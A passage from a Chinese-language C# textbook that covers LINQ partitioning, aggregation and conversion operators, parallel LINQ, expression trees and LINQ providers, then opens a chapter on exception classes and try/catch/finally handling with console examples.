(var r in racers) { WriteLine(r); } 这个合并的结果是: Alberto Ascari, starts: 32 Nino Farina, starts: 33 13.2.14 分区 扩展方法Take()和Skip()等的分区操作可用于分页,例如,在第一个页面上只显 示5个赛车手,在下一个页面上显示接下来的5个赛车手等。 在下面的LINQ查询中,把扩展方法Skip()和Take()添加到查询的最后。 Skip()方法先忽略根据页面大小和实际页数计算出的项数,再使用Take()方法根据页 面大小提取一定数量的项(代码文件EnumerableSample/Program.cs): int pageSize = 5; int numberPages = (int)Math.Ceiling(Formula1.GetChampions().Count() / (double)pageSize); for (int page = 0; page < numberPages; page++) { WriteLine($"Page {page}"); var racers = (from r in Formula1.GetChampions() orderby r.LastName, r.FirstName select r.FirstName + " " + r.LastName). Skip(page * pageSize).Take (pageSize); foreach (var name in racers) { WriteLine(name); } WriteLine(); } 下面输出了前3页: Page 0 Fernando Alonso Mario Andretti Alberto Ascari Jack Brabham Jenson Button Page 1 Jim Clark Juan Manuel Fangio Nino Farina Emerson Fittipaldi Mika Hakkinen Page 2 Lewis Hamilton Mike Hawthorn Damon Hill Graham Hill Phil Hill 分页在Windows或Web应用程序中非常有用,可以只给用户显示一部分数据。  注意: 这个分页机制的一个要点是,因为查询会在每个页面上执行,所以改 变底层的数据会影响结果。在继续执行分页操作时,会显示新对象。根据不同的情 况,这对于应用程序可能有利。如果这个操作是不需要的,就可以只对原来的数据源 分页,然后使用映射到原始数据上的缓存。 使用TakeWhile()和SkipWhile()扩展方法,还可以传递一个谓词,根据谓词的结 果提取或跳过某些项。 13.2.15 聚合操作符 聚合操作符(如Count、Sum、Min、Max、Average和Aggregate操作符)不返回一个 序列,而返回一个值。 Count()扩展方法返回集合中的项数。下面的Count()方法应用于Racer的Years属 性,来筛选赛车手,只返回获得冠军次数超过3次的赛车手。因为同一个查询中需要使用 同一个计数超过一次,所以使用let子句定义了一个变量numberYears(代码文件 EnumerableSample/Program.cs): var query = from r in Formula1.GetChampions() let numberYears = r.Years.Count() where numberYears >= 3 orderby numberYears descending, r.LastName select new { Name = r.FirstName + " " + r.LastName, TimesChampion = numberYears }; foreach (var r in query) { WriteLine($"{r.Name} {r.TimesChampion}"); } 结果如下: Michael Schumacher 7 Juan Manuel Fangio 5 Alain Prost 4 Sebastian Vettel 4 Jack Brabham 3 Niki Lauda 3 Nelson Piquet 3 Ayrton Senna 3 Jackie Stewart 3 Sum()方法汇总序列中的所有数字,返回这些数字的和。下面的Sum()方法用于 计算一个国家赢得比赛的总次数。首先根据国家对赛车手分组,再在新创建的匿名类型 中,把Wins属性赋予某个国家赢得比赛的总次数: var countries = (from c in from r in Formula1.GetChampions() group r by r.Country into c select new { Country = c.Key, Wins = (from r1 in c select r1.Wins).Sum() } orderby c.Wins descending, c.Country select c).Take(5); foreach (var country in countries) { WriteLine("{country.Country} {country.Wins}"); } 根据获得一级方程式冠军的次数,最成功的国家是: UK 186 Germany 130 Brazil 78 France 51 Finland 45 方法Min()、Max()、Average()和Aggregate()的使用方式与Count()和 Sum()相同。Min()方法返回集合中的最小值,Max()方法返回集合中的最大值, Average()方法计算集合中的平均值。对于Aggregate()方法,可以传递一个lambda表 达式,该表达式对所有的值进行聚合。 13.2.16 转换操作符 本章前面提到,查询可以推迟到访问数据项时再执行。在迭代中使用查询时,查询会 执行。而使用转换操作符会立即执行查询,把查询结果放在数组、列表或字典中。 在下面的例子中,调用ToList()扩展方法,立即执行查询,得到的结果放在List<T> 类中(代码文件EnumerableSample/Program.cs): List<Racer> racers = (from r in Formula1.GetChampions() where r.Starts > 150 orderby r.Starts descending select r).ToList() ; foreach (var racer in racers) { WriteLine($"{racer} {racer:S}"); } 把返回的对象放在列表中并没有这么简单。例如,对于集合类中从赛车到赛车手的快 速访问,可以使用新类Lookup<TKey, TElement>。  注意: Dictionary<TKey, TValue>类只支持一个键对应一个值。在 System.Linq名称空间的类Lookup<TKey, TElement>类中,一个键可以对应多个值。这 些类详见第11章。 使用复合的from查询,可以摊平赛车手和赛车序列,创建带有Car和Racer属性的匿名 类型。在返回的Lookup对象中,键的类型应是表示汽车的string,值的类型应是Racer。为 了进行这个选择,可以给ToLookup()方法的一个重载版本传递一个键和一个元素选择 器。键选择器引用Car属性,元素选择器引用Racer属性: var racers = (from r in Formula1.GetChampions() from c in r.Cars select new { Car = c, Racer = r }).ToLookup(cr => cr.Car, cr => cr.Racer); if (racers.Contains("Williams")) { foreach (var williamsRacer in racers["Williams"]) { WriteLine(williamsRacer); } } 用Lookup类的索引器访问的所有“Williams”冠军,结果如下: Alan Jones Keke Rosberg Nigel Mansell Alain Prost Damon Hill Jacques Villeneuve 如果需要在非类型化的集合上(如ArrayList)使用LINQ查询,就可以使用Cast() 方法。在下面的例子中,基于Object类型的ArrayList集合用Racer对象填充。为了定义强类 型化的查询,可以使用Cast()方法: var list = new System.Collections.ArrayList(Formula1.GetChampions() as System.Collections.ICollection); var query = from r in list.Cast<Racer>() where r.Country == "USA" orderby r.Wins descending select r; foreach (var racer in query) { WriteLine("{racer:A}", racer); } 结果仅包含来自美国的一级方程式冠军: Mario Andretti, country: USA, starts: 128, wins: 12 Phil Hill, country: USA, starts: 48, wins: 3 13.2.17 生成操作符 生成操作符Range()、Empty()和Repeat()不是扩展方法,而是返回序列的正常 静态方法。在LINQ to Objects中,这些方法可用于Enumerable类。 有时需要填充一个范围的数字,此时就应使用Range()方法。这个方法把第一个参 数作为起始值,把第二个参数作为要填充的项数: var values = Enumerable.Range(1, 20); foreach (var item in values) { Write($"{item} ", item); } WriteLine(); 当然,结果如下所示: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20  注意: Range()方法不返回填充了所定义值的集合,这个方法与其他方法 一样,也推迟执行查询,并返回一个RangeEnumerator,其中只有一条yield return语 句,来递增值。 可以把该结果与其他扩展方法合并起来,获得另一个结果,例如,使用Select()扩 展方法: var values = Enumerable.Range(1, 20).Select(n => n * 3); Empty()方法返回一个不返回值的迭代器,它可以用于需要一个集合的参数,其中 可以给参数传递空集合。 Repeat()方法返回一个迭代器,该迭代器把同一个值重复特定的次数。 13.3 并行LINQ System.Linq名称空间中包含的类ParallelEnumerable可以分解查询的工作,使其分布在 多个线程上。尽管Enumerable类给IEnumerable<T>接口定义了扩展方法,但 ParallelEnumerable类的大多数扩展方法是ParallelQuery<TSource>类的扩展。一个重要的异 常是AsParallel()方法,它扩展了IEnumerable<TSource>接口,返回 ParallelQuery<TSource>类,所以正常的集合类可以以并行方式查询。 13.3.1 并行查询 为了说明并行LINQ(Parallel LINQ, PLINQ),需要一个大型集合。对于可以放在 CPU的缓存中的小集合,并行LINQ看不出效果。在下面的代码中,用随机值填充一个大 型的int集合(代码文件ParallelLinqSample/Program.cs): static IEnumerable<int> SampleData() { const int arraySize = 50000000; var r = new Random(); return Enumerable.Range(0, arraySize).Select(x => r.Next(140)).ToList(); } 现在可以使用LINQ查询筛选数据,进行一些计算,获取所筛选数据的平均数。该查 询用where子句定义了一个筛选器,仅汇总对应值小于20的项,接着调用聚合函数 Sum()方法。与前面的LINQ查询的唯一区别是,这次调用了AsParallel()方法。 var res = (from x in data.AsParallel() where Math.Log(x) < 4 select x).Average(); 与前面的LINQ查询一样,编译器会修改语法,以调用AsParallel()、Where()、 Select()和Average()方法。AsParallel()方法用ParallelEnumerable类定义,以扩展 IEnumerable<T>接口,所以可以对简单的数组调用它。AsParallel()方法返回 ParallelQuery<TSource>。因为返回的类型,所以编译器选择的Where()方法是 ParallelEnumerable.Where(),而不是Enumerable.Where()。在下面的代码中, Select()和Average()方法也来自ParallelEnumerable类。与Enumerable类的实现代码相 反,对于ParallelEnumerable类,查询是分区的,以便多个线程可以同时处理该查询。集合 可以分为多个部分,其中每个部分由不同的线程处理,以筛选其余项。完成分区的工作 后,就需要合并,获得所有部分的总和。 var res = data.AsParallel().Where(x => Math.Log(x) < 4). Select(x => x).Average(); 运行这行代码会启动任务管理器,这样就可以看出系统的所有CPU都在忙碌。如果删 除AsParallel()方法,就不可能使用多个CPU。当然,如果系统上没有多个CPU,就不 会看到并行版本带来的改进。 13.3.2 分区器 AsParallel()方法不仅扩展了IEnumerable<T>接口,还扩展了Partitioner类。通过 它,可以影响要创建的分区。 Partitioner类用System.Collection.Concurrent名称空间定义,并且有不同的变体。 Create()方法接受实现了IList<T>类的数组或对象。根据这一点,以及Boolean类型的参 数loadBalance和该方法的一些重载版本,会返回一个不同的Partitioner类型。对于数组, 使用派生自抽象基类OrderablePartitioner<TSource>的DynamicPartitionerForArray<TSource> 类和StaticPartitionerFor-Array<TSource>类。 修改13.3.1小节中的代码,手工创建一个分区器,而不是使用默认的分区器: var result = (from x in Partitioner.Create(data, true).AsParallel() where Math.Log(x) < 4 select x).Average(); 也可以调用WithExecutionMode()和WithDegreeOfParallelism()方法,来影响并行 机制。对于WithExecutionMode()方法可以传递ParallelExecutionMode的一个Default值或 者ForceParallelism值。默认情况下,并行LINQ避免使用系统开销很高的并行机制。对于 WithDegreeOf Parallelism()方法,可以传递一个整数值,以指定应并行运行的最大任务 数。查询不应使用全部CPU,这个方法会很有用。  注意: 任务和线程详见第21章和第22章。 13.3.3 取消 .NET提供了一种标准方式,来取消长时间运行的任务,这也适用于并行LINQ。 要取消长时间运行的查询,可以给查询添加WithCancellation()方法,并传递一个 CancellationToken令牌作为参数。CancellationToken令牌从CancellationTokenSource类中创 建。该查询在单独的线程中运行,在该线程中,捕获一个OperationCanceledException类型 的异常。如果取消了查询,就触发这个异常。在主线程中,调用CancellationTokenSource 类的Cancel()方法可以取消任务。 var cts = new CancellationTokenSource(); Task.Run(() => { try { var res = (from x in data.AsParallel().WithCancellation(cts.Token) where Math.Log(x) < 4 select x).Average(); WriteLine($"query finished, sum: {res}"); } catch (OperationCanceledException ex) { WriteLine(ex.Message); } }); WriteLine("query started"); Write("cancel? "); string input = ReadLine(); if (input.ToLower().Equals("y")) { // cancel! cts.Cancel(); }  注意: 关于取消和CancellationToken令牌的内容详见第21章。 13.4 表达式树 在LINQ to Objects中,扩展方法需要将一个委托类型作为参数,这样就可以将lambda 表达式赋予参数。lambda表达式也可以赋予Expression<T>类型的参数。C#编译器根据类 型给lambda表达式定义不同的行为。如果类型是Expression<T>,编译器就从lambda表达 式中创建一个表达式树,并存储在程序集中。这样,就可以在运行期间分析表达式树,并 进行优化,以便于查询数据源。 下面看看一个前面使用的查询表达式(代码文件 ExpressionTreeSample/Program.cs): var brazilRacers = from r in racers where r.Country == "Brazil" orderby r.Wins select r; 这个查询表达式使用了扩展方法Where()、OrderBy()和Select()。Enumerable 类定义了Where()扩展方法,并将委托类型Func<T, bool>作为参数谓词。 public static IEnumerable<TSource> Where<TSource>( this IEnumerable<TSource> source, Func<TSource, bool> predicate); 这样,就把lambda表达式赋予谓词。这里lambda表达式类似于前面介绍的匿名方法。 Func<Racer, bool> predicate = r => r.Country == "Brazil"; Enumerable类不是唯一一个定义了扩展方法Where()的类。Queryable<T>类也定义 了Where()扩展方法。这个类对Where()扩展方法的定义是不同的: public static IQueryable<TSource> Where<TSource>( this IQueryable<TSource> source, Expression<Func<TSource, bool>> predicate); 其中,把lambda表达式赋予类型Expression<T>,该类型的操作是不同的: Expression<Func<Racer, bool>> predicate = r => r.Country == "Brazil"; 除了使用委托之外,编译器还会把表达式树放在程序集中。表达式树可以在运行期间 读取。表达式树从派生自抽象基类Expression的类中构建。Expression类与Expression<T> 不同。继承自Expression类的表达式类有BinaryExpression、ConstantExpression、 InvocationExpression、lambdaExpression、NewExpression、NewArrayExpression、 TernaryExpression以及Unary Expression等。编译器会从lambda表达式中创建表达式树。 例如,lambda表达式r.Country == "Brazil"使用了ParameterExpression、 MemberExpression、ConstantExpression和MethodCallExpression,来创建一个表达式树, 并将该树存储在程序集中。之后在运行期间使用这个树,创建一个用于底层数据源的优化 查询。 DisplayTree()方法在控制台上图形化地显示表达式树。其中传递了一个Expression 对象,并根据表达式的类型,把表达式的一些信息写到控制台上。根据表达式的类型,递 归地调用DisplayTree()方法。  注意: 在这个方法中,没有处理所有的表达式类型,只处理了在下一个示例 表达式中使用的类型。 private static void DisplayTree(int indent, string message, Expression expression) { string output = $"{string.Empty.PadLeft(indent, '>')} {message} " + $"! NodeType: {expression.NodeType}; Expr: {expression}"; indent++; switch (expression.NodeType) { case ExpressionType.Lambda: Console.WriteLine(output); LambdaExpression lambdaExpr = (LambdaExpression)expression; foreach (var parameter in lambdaExpr.Parameters) { DisplayTree(indent, "Parameter", parameter); } DisplayTree(indent, "Body", lambdaExpr.Body); break; case ExpressionType.Constant: ConstantExpression constExpr = (ConstantExpression)expression; WriteLine($"{output} Const Value: {constExpr.Value}"); break; case ExpressionType.Parameter: ParameterExpression paramExpr = (ParameterExpression)expression; WriteLine($"{output} Param Type: {paramExpr.Type.Name}"); break; case ExpressionType.Equal: case ExpressionType.AndAlso: case ExpressionType.GreaterThan: BinaryExpression binExpr = (BinaryExpression)expression; if (binExpr.Method ! = null) { WriteLine($"{output} Method: {binExpr.Method.Name}"); } else { WriteLine(output); } DisplayTree(indent, "Left", binExpr.Left); DisplayTree(indent, "Right", binExpr.Right); break; case ExpressionType.MemberAccess: MemberExpression memberExpr = (MemberExpression)expression; WriteLine($"{output} Member Name: {memberExpr.Member.Name}, " + " Type: {memberExpr.Expression}"); DisplayTree(indent, "Member Expr", memberExpr.Expression); break; default: WriteLine(); WriteLine($"{expression.NodeType} {expression.Type.Name}"); break; } } 前面已经介绍了用于显示表达式树的表达式。这是一个lambda表达式,它有一个 Racer参数,表达式体提取赢得比赛次数超过6次的巴西赛车手: Expression<Func<Racer, bool>> expression = r => r.Country == "Brazil" && r.Wins > 6; DisplayTree(0, "Lambda", expression); 下面看看结果。lambda表达式包含一个Parameter和一个AndAlso节点类型。AndAlso 节点类型的左边是一个Equal节点类型,右边是一个GreaterThan节点类型。Equal节点类型 的左边是MemberAccess节点类型,右边是Constant节点类型。 Lambda! NodeType: Lambda; Expr: r => ((r.Country == "Brazil") AndAlso (r.Wins > 6)) > Parameter! NodeType: Parameter; Expr: r Param Type: Racer > Body! NodeType: AndAlso; Expr: ((r.Country == "Brazil") AndAlso (r.Wins > 6 )) >> Left! NodeType: Equal; Expr: (r.Country == "Brazil") Method: op_Equality >>> Left! NodeType: MemberAccess; Expr: r.Country Member Name: Country, Type: String >>>> Member Expr! NodeType: Parameter; Expr: r Param Type: Racer >>> Right! NodeType: Constant; Expr: "Brazil" Const Value: Brazil >> Right! NodeType: GreaterThan; Expr: (r.Wins > 6) >>> Left! NodeType: MemberAccess; Expr: r.Wins Member Name: Wins, Type: Int3 2 >>>> Member Expr! NodeType: Parameter; Expr: r Param Type: Racer >>> Right! NodeType: Constant; Expr: 6 Const Value: 6 使用Expression<T>类型的一个例子是ADO.NET Entity Framework和WCF数据服务的 客户端提供程序。这些技术用Expression<T>参数定义了扩展方法。这样,访问数据库的 LINQ提供程序就可以读取表达式,创建一个运行期间优化的查询,从数据库中获取数 据。 13.5 LINQ提供程序 .NET包含几个LINQ提供程序。LINQ提供程序为特定的数据源实现了标准的查询操作 符。LINQ提供程序也许会实现比LINQ定义的更多的扩展方法,但至少要实现标准操作 符。LINQ to XML实现了一些专门用于XML的方法,例如,System.Xml.Linq名称空间中 的Extensions类定义的Elements()、Descendants()和Ancestors()方法。 LINQ提供程序的实现方案是根据名称空间和第一个参数的类型来选择的。实现扩展 方法的类的名称空间必须是开放的,否则扩展类就不在作用域内。在LINQ to Objects中定 义的Where()方法的参数和在LINQ to Entities中定义的Where()的方法参数不同。 LINQ to Objects中的Where()方法用Enumerable类定义: public static IEnumerable<TSource> Where<TSource>( this IEnumerable<TSource> source, Func<TSource, bool> predicate); 在System.Linq名称空间中,还有另一个类实现了操作符Where。这个实现代码由 LINQ to Entities使用。这些实现代码在Queryable类中可以找到: public static IQueryable<TSource> Where<TSource>( this IQueryable<TSource> source, Expression<Func<TSource, bool>> predicate); 这两个类都在System.Linq名称空间的System.Core程序集中实现。那么,编译器如何 选择使用哪个方法?表达式类型有什么用途?无论是用Func<TSource, bool>参数传递,还 是用Expression<Func<TSource, bool>>参数传递,lambda表达式都相同。只是编译器的行 为不同,它根据source参数来选择。编译器根据其参数选择最匹配的方法。在ADO.NET Entity Framework中定义的ObjectContext类的CreateQuery<T>()方法返回一个实现了 IQueryable<TSource>接口的ObjectQuery<T>对象,因此Entity Framework使用Queryable类 的Where()方法。 13.6 小结 本章讨论了LINQ查询和查询所基于的语言结构,如扩展方法和lambda表达式,还列 出了各种LINQ查询操作符,它们不仅用于筛选数据源,给数据源排序,还用于执行分 区、分组、转换、连接等操作。 使用并行LINQ可以轻松地并行化运行时间较长的查询。 另一个重要的概念是表达式树。表达式树允许在运行期间构建对数据源的查询,因为 表达式树存储在程序集中。表达式树的用法详见第38章。LINQ是一个非常深奥的主题, 更多的信息可查阅第27章。还可以下载其他第三方提供程序,例如,LINQ to MySQL、 LINQ to Amazon、LINQ to Flickr、LINQ to LDAP以及LINQ to SharePoint。无论使用什么 数据源,都可以通过LINQ使用相同的查询语法。 第14章介绍错误和异常,解释如何捕获异常。 第14章 错误和异常 本章要点 ● 异常类 ● 使用try…catch…finally捕获异常 ● 过滤异常 ● 创建用户定义的异常 ● 获取调用者的信息 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● Simple Exceptions ● ExceptionFilters ● RethrowExceptions ● Solicit Cold Call ● Caller Information 14.1 简介 错误的出现并不总是编写应用程序的人的原因,有时应用程序会因为应用程序的最终 用户引发的动作或运行代码的环境而发生错误。无论如何,我们都应预测应用程序中出现 的错误,并相应地进行编码。 .NET Framework改进了处理错误的方式。C#处理错误的机制可以为每种错误提供自 定义处理方式,并把识别错误的代码与处理错误的代码分离开来。 无论编码技术有多好,程序都必须能处理可能出现的任何错误。例如,在一些复杂的 代码处理过程中,代码没有读取文件的许可,或者在发送网络请求时,网络可能会中断。 在这种异常情况下,方法只返回相应的错误代码通常是不够的——可能方法调用嵌套了15 级或者20级,此时,程序需要跳过所有的15或20级方法调用,才能完全退出任务,并采取 相应的应对措施。C#语言提供了处理这种情形的最佳工具,称为异常处理机制。 本章介绍了在多种不同的场景中捕获和抛出异常的方式。讨论不同名称空间中定义的 异常类型及其层次结构,并学习如何创建自定义异常类型。还将学到捕获异常的不同方 式,例如,捕获特定类型的异常或者捕获基类的异常。本章还会介绍如何处理嵌套的try 块,以及如何以这种方式捕获异常。对于无论如何都要调用的代码——即使发生了异常或 者代码带错运行,可以使用本章介绍的try/finally块。本章也会介绍C# 6中的一个新功能: 异常过滤器。 学习完本章后,你将很好地掌握C#应用程序中的高级异常处理技术。 14.2 异常类 在C#中,当出现某个特殊的异常错误条件时,就会创建(或抛出)一个异常对象。 这个对象包含有助于跟踪问题的信息。我们可以创建自己的异常类(详见后面的内容), 但.NET提供了许多预定义的异常类,多到这里不可能提供详尽的列表。在图14-1类的层 次结构图中显示了其中的一些类,它们给出了大致的模式。本节将简要介绍在.NET基类 库中可用的一些异常。 图14-1 图14-1中的所有类都在System名称空间中,但IOException类、CompositionException 类和派生于这两个类的类除外。IOException类及其派生类在System.IO名称空间中。 System.IO名称空间处理文件数据的读写。CompositionException及其派生类在 System.ComponentModel.Composition名称空间中。该名称空间处理部件和组件的动态加 载。一般情况下,异常没有特定的名称空间,异常类应放在生成异常的类所在的名称空间 中,因此与IO相关的异常就在System.IO名称空间中。在许多基类名称空间中都有异常 类。 对于.NET类,一般的异常类System.Exception派生自System.Object,通常不在代码中 抛出System.Exception泛型对象,因为它们无法确定错误情况的本质。 在该层次结构中有两个重要的类,它们派生自System.Exception类: ● SystemException——该类用于通常由.NET运行库抛出的异常,或者由几乎所有的 应用程序抛出的异常。例如,如果.NET运行库检测到栈已满,它就会抛出 StackOverflowException异常。另一方面,如果检测到调用方法时参数不正确,就 可以在自己的代码中选择抛出ArgumentException异常或其子类异常。 SystemException异常的子类包括表示致命错误和非致命错误的异常。 ● ApplicationException——在.NET Framework最初的设计中,是打算把这个类作为自 定义应用程序异常类的基类的。不过,CLR抛出的一些异常类也派生自这个类 (例如,TargetInvocationException),应用程序抛出的异常则派生自 SystemException(例如,ArgumentException)。因此从ApplicationException派生 自定义异常类型没有提供任何好处,所以不再是一种好做法。取而代之的是,可 以直接从Exception基类派生自定义异常类。.NET Framework中的许多异常类直接 派生自Exception。 其他可能用到的异常类包括: ● StackOverflowException——如果分配给栈的内存区域已满,就会抛出这个异常。如 果一个方法连续地递归调用它自己,就可能发生栈溢出。这一般是一个致命错 误,因为它禁止应用程序执行除了中断以外的其他任务。在这种情况下,甚至也 不可能执行finally块。通常用户自己不能处理像这样的错误,而应退出应用程 序。 ● EndOfStreamException——这个异常通常是因为读到文件末尾而抛出的。流表示数 据源之间的数据流。 ● OverflowException——如果要在checked环境下把包含值-40的int类型数据强制转换 为uint数据,就会抛出这个异常。 我们不打算讨论图14-1中的其他异常类。显示它们仅为了演示异常类的层次结构。 异常类的层次结构并不多见,因为其中的大多数类并没有给它们的基类添加任何功 能。但是在处理异常时,添加继承类的一般原因是更准确地指定错误条件,所以不需要重 写方法或添加新方法(尽管常常要添加额外的属性,以包含有关错误情况的额外信息)。 例如,当传递了不正确的参数值时,可给方法调用使用ArgumentException基类, ArgumentNullException类派生于ArgumentException异常类,它专门用于处理所传递的参数 值是Null的情况。 14.3 捕获异常 .NET Framework提供了大量的预定义基类异常对象,本节就介绍如何在代码中使用 它们捕获错误情况。为了在C#代码中处理可能的错误情况,一般要把程序的相关部分分 成3种不同类型的代码块: ● try块包含的代码组成了程序的正常操作部分,但这部分程序可能遇到某些严重的错 误。 ● catch块包含的代码处理各种错误情况,这些错误是执行try块中的代码时遇到的。 这个块还可以用于记录错误。 ● finally块包含的代码清理资源或执行通常要在try块或catch块末尾执行的其他操作。 无论是否抛出异常,都会执行finally块,理解这一点非常重要。因为finally块包含 了应总是执行的清理代码,如果在finally块中放置了return语句,编译器就会标记 一个错误。例如,使用finally块时,可以关闭在try块中打开的连接。finally块是完 全可选的。如果不需要清理代码(如删除对象或关闭已打开的对象),就不需要 包含此块。 下面的步骤说明了这些块是如何组合在一起捕获错误情况的: (1)执行的程序流进入try块。 (2)如果在try块中没有错误发生,在块中就会正常执行操作。当程序流到达try块末 尾后,如果存在一个finally块,程序流就会自动进入finally块(第(5)步)。但如果在try 块中程序流检测到一个错误,程序流就会跳转到catch块(第(3)步)。 (3)在catch块中处理错误。 (4)在catch块执行完后,如果存在一个finally块,程序流就会自动进入finally块: (5)执行finally块(如果存在)。 用于完成这些任务的C#语法如下所示: try { // code for normal execution } catch { // error handling } finally { // clean up } 实际上,上面的代码还有几种变体: ● 可以省略finally块,因为它是可选的。 ● 可以提供任意多个catch块,处理不同类型的错误。但不应包含过多的catch块,以 防降低应用程序的性能。 ● 可以定义过滤器,其中包含的catch块仅在过滤器匹配时,捕获特定块中的异常。 ● 可以省略catch块——此时,该语法不是标识异常,而是一种确保程序流在离开try 块后执行finally块中的代码的方式。如果在try块中有几个出口点,这很有用。 这看起来很不错,实际上是有问题的。如果运行try块中的代码,则程序流如何在错 误发生时切换到catch块?如果检测到一个错误,代码就执行一定的操作,称为“抛出一个 异常”;换言之,它实例化一个异常对象类,并抛出这个异常: throw new OverflowException(); 这里实例化了OverflowException类的一个异常对象。只要应用程序在try块中遇到一条 throw语句,就会立即查找与这个try块对应的catch块。如果有多个与try块对应的catch块, 应用程序就会查找与catch块对应的异常类,确定正确的catch块。例如,当抛出一个 OverflowException异常对象时,执行的程序流就会跳转到下面的catch块: catch (OverflowException ex) { // exception handling here } 换言之,应用程序查找的catch块应表示同一个类(或基类)中匹配的异常类实例。 有了这些额外的信息,就可以扩展刚才介绍的try块。为了讨论方便,假定可能在try 块中发生两个严重错误:溢出和数组超出范围。假定代码包含两个布尔变量Overflow和 OutOfBounds,它们分别表示这两种错误情况是否存在。我们知道,存在表示溢出的预定 义溢出异常类Overflow-Exception;同样,存在预定义的IndexOutOfRangeException异常 类,用于处理超出范围的数组。 现在,try块如下所示: try { // code for normal execution if (Overflow == true) { throw new OverflowException(); } // more processing if (OutOfBounds == true) { throw new IndexOutOfRangeException(); } // otherwise continue normal execution } catch (OverflowException ex) { // error handling for the overflow error condition } catch (IndexOutOfRangeException ex) { // error handling for the index out of range error condition } finally { // clean up } 这是因为throw语句可以嵌套在try块的几个方法调用中,甚至在程序流进入其他方法 时,也会继续执行同一个try块。如果应用程序遇到一条throw语句,就会立即退出栈上所 有的方法调用,查找try块的结尾和合适的catch块的开头,此时,中间方法调用中的所有 局部变量都会超出作用域。try…catch结构最适合于本节开头描述的场合:错误发生在一 个方法调用中,而该方法调用可能嵌套了15或20级,这些处理操作会立即停止。 从上面的论述可以看出,try块在控制执行的程序流上有重要的作用。但是,异常是 用于处理异常情况的,这是其名称的由来。不应该用异常来控制退出do…while循环的时 间。 14.3.1 实现多个catch块 要了解try…catch…finally块是如何工作的,最简单的方式是用两个示例来说明。第一 个示例是SimpleExceptions。它多次要求用户输入一个数字,然后显示这个数字。为了便 于解释这个示例,假定该数字必须在0~5之间,否则程序就不能对该数字进行正确的处 理。所以,如果用户输入超出该范围的数字,程序就抛出一个异常。程序会继续要求用户 输入更多数字,直到用户不再输入任何内容,按回车键为止。  注意: 这段代码没有说明何时使用异常处理,但是它显示了使用异常处理的 好方法。顾名思义,异常用于处理异常情况。用户经常输入一些无聊的东西,所以这 种情况不会真正发生。正常情况下,程序会处理不正确的用户输入,方法是进行即时 检查,如果有问题,就要求用户重新输入。但是,在一个要求几分钟内读懂的小示例 中生成异常是比较困难的,为了描述异常是如何工作的,后面将使用更真实的示例。 SimpleExceptions的示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System static System.Console SimpleExceptions的代码如下所示(代码文件SimpleExceptions/Program.cs): using System; using static System.Console; namespace Wrox.ProCSharp.ErrorsAndExceptions { public class Program { public static void Main() { while (true) { try { string userInput; Write("Input a number between 0 and 5 " + "(or just hit return to exit)> "); userInput = ReadLine(); if (string.IsNullOrEmpty(userInput)) { break; } int index = Convert.ToInt32(userInput); if (index < 0 || index > 5) { throw new IndexOutOfRangeException($"You typed in {userInput}"); } WriteLine($"Your number was {index}"); } catch (IndexOutOfRangeException ex) { WriteLine("Exception: " + $"Number should be between 0 and 5. {ex.Message}"); } catch (Exception ex) { WriteLine($"An exception was thrown. Message was: {ex.Message}"); } finally { WriteLine("Thank you\n"); } } } } } 这段代码的核心是一个while循环,它连续使用ReadLine()方法以请求用户输入。 ReadLine()方法返回一个字符串,所以程序首先要用System.Convert.ToInt32()方法把 它转换为int型。System.Convert类包含执行数据转换的各种有用方法,并提供了 int.Parse()方法的一个替代方法。一般情况下,System.Convert类包含执行各种类型转换 的方法,C#编译器把int解析为System.Int32基类的实例。  注意: 值得注意的是,传递给catch块的参数只能用于该catch块。这就是为什 么在上面的代码中,能在后续的catch块中使用相同的参数名ex的原因。 在上面的代码中,我们也检查一个空字符串,因为该空字符串是退出while循环的条 件。注意这里用break语句退出try块和while循环——这是有效的。当然,当程序流退出try 块时,会执行finally块中的WriteLine()语句。尽管这里仅显示一句问候,但一般在这里 可以关闭文件句柄,调用各种对象的Dispose()方法,以执行清理工作。一旦应用程序 退出了finally块,它就会继续执行下一条语句,如果没有finally块,该语句也会执行。在 本例中,我们返回到while循环的开头,再次进入try块(除非执行while循环中break语句的 结果是进入finally块,此时就会退出while循环)。 下面看看异常情况: if (index < 0 || index > 5) { throw new IndexOutOfRangeException($"You typed in {userInput}"); } 在抛出一个异常时,需要选择要抛出的异常类型。可以使用System.Exception异常 类,但这个类是一个基类,最好不要把这个类的实例当作一个异常抛出,因为它没有包含 关于错误的任何信息。而.NET Framework包含了许多派生自System.Exception异常类的其 他异常类,每个类都对应于一种特定类型的异常情况,也可以定义自己的异常类。在抛出 一个匹配特定错误情况的类的实例时,应提供尽可能多的异常信息。在前面的例子中, System.IndexOutOfRangeException异常类是最佳选择。IndexOutOfRangeException异常类 有几个重载的构造函数,我们选择的一个重载,其参数是一个描述错误的字符串。另外, 也可以选择派生自己的自定义异常对象,它描述该应用程序环境中的错误情况。 假定用户这次输入了一个不在0~5范围内的数字,if语句就会检测到一个错误,并实 例化和抛出一个IndexOutOfRangeException异常对象。应用程序会立即退出try块,并查找 处理IndexOutOf-RangeException异常的catch块。它遇到的第一个catch块如下所示: catch (IndexOutOfRangeException ex) { WriteLine($"Exception: Number should be between 0 and 5. {ex.Message}"); } 由于这个catch块带合适类的一个参数,因此它就会传递给异常实例,并执行。在本 例中,是显示错误信息和Exception.Message属性(它对应于给IndexOutRangeException异 常类的构造函数传递的字符串)。执行了这个catch块后,控制权就切换到finally块,就好 像没有发生过任何异常。 注意,本例还提供了另一个catch块: catch (Exception ex) { WriteLine($"An exception was thrown. Message was: {ex.Message}"); } 如果没有在前面的catch块中捕获到这类异常,则这个catch块也能处理 IndexOutOfRangeException异常。基类的一个引用也可以指向派生自它的类的所有实例, 所有的异常都派生自System.Exception异常类。这个catch块没有执行,因为应用程序只执 行它在可用的catch块列表中找到的第一个合适的catch块。还有第二个catch块的原因是, 不仅try块包含这段代码,还有另外3个方法调用Console.ReadLine()、Console.Write() 和Convert.ToInt32()也包含这段代码,它们是System名称空间中的方法。这3个方法都 可能抛出异常。 如果输入的内容不是数字,如a或hello,则Convert.ToInt32()方法就会抛出 System.FormatException类的一个异常,表示传递给ToInt32()方法的字符串对应的格式 不能转换为int。此时,应用程序会跟踪这个方法调用,查找可以处理该异常的处理程 序。第一个catch块带一个IndexOutOfRangeException异常,不能处理这种异常。应用程序 